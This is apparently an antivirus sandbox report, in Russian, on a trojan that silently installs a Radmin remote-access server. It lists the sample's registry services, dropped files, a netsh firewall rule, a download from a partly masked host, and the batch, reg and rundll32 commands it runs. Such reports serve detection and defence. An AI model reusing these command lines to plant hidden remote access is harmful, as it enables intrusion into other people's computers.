Trojan.Siggen20.7685

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\RServer3] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\RServer3] 'ImagePath' = '"D:\Mygame\RServer3.exe" /service'
[<HKLM>\System\CurrentControlSet\Services\mirrorv3] 'Start' = '00000001'
[<HKLM>\System\CurrentControlSet\Services\mirrorv3] 'ImagePath' = 'system32\DRIVERS\rminiv3.sys'
[<HKLM>\System\CurrentControlSet\Services\raddrvv3] 'Start' = '00000001'
[<HKLM>\System\CurrentControlSet\Services\raddrvv3] 'ImagePath' = 'D:\Mygame\raddrvv3.sys'

Создает следующие сервисы

'RServer3' "D:\Mygame\RServer3.exe" /service
'mirrorv3' system32\DRIVERS\rminiv3.sys
'raddrvv3' D:\Mygame\raddrvv3.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Radmin Server 3" dir=in action=allow program="D:\Mygame\\rserver3.exe" enable=yes profile=any

Внедряет код в

следующие пользовательские процессы:

famitrfc.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\rs35.rar
D:\mygame\vcintsx.dll
D:\mygame\vcintcx.dll
D:\mygame\r_sui.dll
D:\mygame\rsl.exe
D:\mygame\rserver3.exe
D:\mygame\rschatx.dll
D:\mygame\rsaudiox.dll
D:\mygame\winlpcdl.dll
D:\mygame\voicex.dll
D:\mygame\raudiox.dll
D:\mygame\firewallinstallhelper.dll
D:\mygame\famitrfc.exe
D:\mygame\famitrf2.exe
D:\mygame\eula.txt
D:\mygame\chatlpcx.dll
D:\mygame\2052.lng_rad
D:\mygame\rcursor.dll
D:\mygame\rserver30\vcintcx.dll
D:\mygame\winlpcdl2.dll
%WINDIR%\temp\udd4c4b.tmp
<SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem2.cat
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\set1161.tmp
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\set1095.tmp
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\setfba.tmp
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\setefd.tmp
D:\mygame\rsetup64.exe
D:\mygame\rminiv3.sys
D:\mygame\raddrvv3.sys
D:\mygame\mirrorv3.inf
D:\mygame\mirrorv3.dll
D:\mygame\mirrorv3.cat
D:\mygame\fam64helper.exe
D:\mygame\wsock32.dll
D:\mygame\nts64helper.dll
D:\mygame\install.reg
D:\mygame\设置.bat
nul
D:\mygame\rchatx.dll
D:\mygame\installr.bat
D:\mygame\install.bat
D:\mygame\x86\rsetup.exe
D:\mygame\rserver30\famitrf2.exe
D:\mygame\rserver30\rschatx.dll
D:\mygame\rserver30\rsaudiox.dll
D:\mygame\rserver30\rcursor.dll
D:\mygame\rserver30\rchatx.dll
D:\mygame\rserver30\raudiox.dll
D:\mygame\rserver30\firewallinstallhelper.dll
D:\mygame\rserver30\famitrfc.exe
D:\mygame\rserver30\eula.txt
D:\mygame\rserver30\rsl.exe
D:\mygame\rserver30\chatlpcx.dll
D:\mygame\rserver30\chatlogs\info.txt
D:\mygame\rserver30\2052.lng_rad
D:\mygame\reg\wsock32.dll
D:\mygame\reg\nts64helper.dll
D:\mygame\reg\install.reg
%WINDIR%\chizi\rar.exe
%WINDIR%\temp\udd8e89.tmp
D:\mygame\卸载.bat
D:\mygame\rserver30\r_sui.dll
D:\mygame\rserver30\voicex.dll
D:\mygame\rserver30\rserver3.exe
D:\mygame\x86\rminiv3.sys
D:\mygame\x86\raddrvv3.sys
D:\mygame\x86\mirrorv3.inf
D:\mygame\x86\mirrorv3.dll
D:\mygame\x86\mirrorv3.cat
D:\mygame\x64\rsetup64.exe
D:\mygame\x64\rminiv3.sys
D:\mygame\x64\raddrvv3.sys
D:\mygame\x64\mirrorv3.inf
D:\mygame\x64\mirrorv3.dll
D:\mygame\x64\mirrorv3.cat
D:\mygame\x64\fam64helper.exe
D:\mygame\rserver30\设置.bat
D:\mygame\rserver30\卸载.bat
D:\mygame\rserver30\winlpcdl2.dll
D:\mygame\rserver30\winlpcdl.dll
D:\mygame\rserver30\vcintsx.dll
D:\mygame\radm_log.htm

Присваивает атрибут 'скрытый' для следующих файлов

<SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem2.cat

Удаляет следующие файлы

D:\mygame\install.bat
D:\mygame\x86\rminiv3.sys
D:\mygame\x86\raddrvv3.sys
D:\mygame\x86\mirrorv3.inf
D:\mygame\x86\mirrorv3.dll
D:\mygame\x86\mirrorv3.cat
D:\mygame\x64\rsetup64.exe
D:\mygame\x64\rminiv3.sys
D:\mygame\x64\raddrvv3.sys
D:\mygame\x64\mirrorv3.inf
D:\mygame\x64\mirrorv3.dll
D:\mygame\x86\rsetup.exe
D:\mygame\x64\mirrorv3.cat
D:\mygame\reg\wsock32.dll
D:\mygame\reg\nts64helper.dll
D:\mygame\reg\install.reg
D:\mygame\install.reg
%WINDIR%\temp\udd8e89.tmp
%WINDIR%\temp\udd4c4b.tmp
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\rminiv3.sys
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.inf
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.dll
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.cat
D:\mygame\x64\fam64helper.exe
D:\mygame\installr.bat

Перемещает следующие файлы

%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\setefd.tmp в %TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\rminiv3.sys
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\setfba.tmp в %TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.cat
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\set1095.tmp в %TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.dll
%TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\set1161.tmp в %TEMP%\{5c76ec3c-33f1-2c40-0ece-f03936c4512f}\mirrorv3.inf

Изменяет следующие файлы

Сетевая активность

Подключается к

'er#.#radmin.cn':8088

TCP

Запросы HTTP GET

http://er#.##admin.cn:8088/A8TOP/Soft/TRAdmin/rserver30.rar via er#.#radmin.cn

UDP

DNS ASK er#.#radmin.cn

Другое

Создает и запускает на исполнение

'%WINDIR%\chizi\rar.exe' x -iext -ow -o+ "%TEMP%\RS35.rar" "D:\Mygame\"
'D:\mygame\rsetup64.exe' /intsetup
'D:\mygame\rsetup64.exe' /start
'D:\mygame\rserver3.exe' /service
'D:\mygame\famitrfc.exe'
'%WINDIR%\chizi\rar.exe' x -iext -ow -o+ "%TEMP%\RS35.rar" "D:\Mygame\"' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c D:\Mygame\InstallR.bat' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c D:\Mygame\InstallR.bat
'%WINDIR%\syswow64\cmd.exe' /S /D /c" ver"
'%WINDIR%\syswow64\findstr.exe' "5\.[0-9]\.[0-9][0-9]*"
'%WINDIR%\syswow64\findstr.exe' "\<6\.[0-9]\.[0-9][0-9]*\> \<10\.[0-9]\.[0-9][0-9]*\>"
'%WINDIR%\syswow64\reg.exe' import D:\Mygame\\install.reg /reg:32
'%WINDIR%\syswow64\sc.exe' failure RServer3 reset= 0 actions= restart/3000/restart/3000/restart/3000
'%WINDIR%\syswow64\rundll32.exe' "D:\Mygame\\wsock32.dll",ntskd noreboot